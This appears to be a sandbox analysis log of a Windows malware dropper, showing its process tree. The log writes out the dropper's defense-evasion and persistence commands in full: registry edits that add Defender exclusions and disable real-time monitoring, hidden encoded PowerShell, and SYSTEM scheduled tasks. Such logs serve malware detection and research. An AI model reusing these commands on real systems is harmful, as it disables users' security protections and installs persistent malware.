PID 992 wrote to memory of 1824	992	Install.exe	32
PID 992 wrote to memory of 1824	992	Install.exe	32
PID 992 wrote to memory of 1824	992	Install.exe	32
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1692 wrote to memory of 1528	1692	forfiles.exe	34
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1824 wrote to memory of 1068	1824	forfiles.exe	35
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1528 wrote to memory of 1432	1528	cmd.exe	36
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 1628	1068	cmd.exe	37
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1068 wrote to memory of 672	1068	cmd.exe	38
PID 1528 wrote to memory of 1960	1528	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1528
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1432
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1960
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1824
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1068
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1628
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:672
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gRmCjULig" /SC once /ST 05:16:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1816
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gRmCjULig"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gRmCjULig"
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bneKNGaYVcRiRxLisT" /SC once /ST 13:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG\bBOQdTXnSXMYUUo\jFrzwfB.exe\" zZ /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1356

C:\Windows\system32\taskeng.exe
taskeng.exe {502ECEBF-210E-42A3-825D-041D10E79195} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1112
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1828

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1700

C:\Windows\system32\taskeng.exe
taskeng.exe {75F90898-2BA8-4DE4-9E1D-E9BAF35B9918} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:364
- C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG\bBOQdTXnSXMYUUo\jFrzwfB.exe
  C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG\bBOQdTXnSXMYUUo\jFrzwfB.exe zZ /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ganGlokNZ" /SC once /ST 01:19:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "ganGlokNZ"
    3⤵
    PID:1488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "ganGlokNZ"
    3⤵
    PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:896
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:112
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "glHharysD" /SC once /ST 10:52:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "glHharysD"
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "glHharysD"
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:580
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1536
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1416
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\hbaSrGurzqNRWWzs\NPYFcBqQ\ePIwwpmnybgNqopk.wsf"
    3⤵
    PID:928
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\hbaSrGurzqNRWWzs\NPYFcBqQ\ePIwwpmnybgNqopk.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:112
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1496
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QhwgIylwAsUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:868
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QhwgIylwAsUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2012
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TXAseerOEEIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:776
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TXAseerOEEIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1304
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRIWDceuNiYWC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1208
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRIWDceuNiYWC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:636
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\foutcXFTU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1404
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\foutcXFTU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LNNrjDjXEWBRCBVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1420
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LNNrjDjXEWBRCBVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1144
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:456
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1560
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1076
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1408
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QhwgIylwAsUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QhwgIylwAsUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TXAseerOEEIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TXAseerOEEIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:788
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRIWDceuNiYWC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRIWDceuNiYWC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1824
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\foutcXFTU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\foutcXFTU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LNNrjDjXEWBRCBVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LNNrjDjXEWBRCBVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1132
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\hbaSrGurzqNRWWzs" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gqWsjYdfh" /SC once /ST 08:29:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gqWsjYdfh"
    3⤵
    PID:672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gqWsjYdfh"
    3⤵
    PID:1296
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1940
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1692
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "DhQWMaZHjTeAiZmVY" /SC once /ST 03:43:01 /RU "SYSTEM" /TR "\"C:\Windows\Temp\hbaSrGurzqNRWWzs\QujrIoyMqbhXHQh\XCxlqIJ.exe\" Vk /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:572
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "DhQWMaZHjTeAiZmVY"
    3⤵
    PID:1988
- C:\Windows\Temp\hbaSrGurzqNRWWzs\QujrIoyMqbhXHQh\XCxlqIJ.exe
  C:\Windows\Temp\hbaSrGurzqNRWWzs\QujrIoyMqbhXHQh\XCxlqIJ.exe Vk /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:1144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bneKNGaYVcRiRxLisT"
    3⤵
    PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1604
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1416
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1704
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\foutcXFTU\ZYhpTx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cdjDfIknFNumfAo" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "cdjDfIknFNumfAo2" /F /xml "C:\Program Files (x86)\foutcXFTU\TatCkMC.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "cdjDfIknFNumfAo"
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "cdjDfIknFNumfAo"
    3⤵
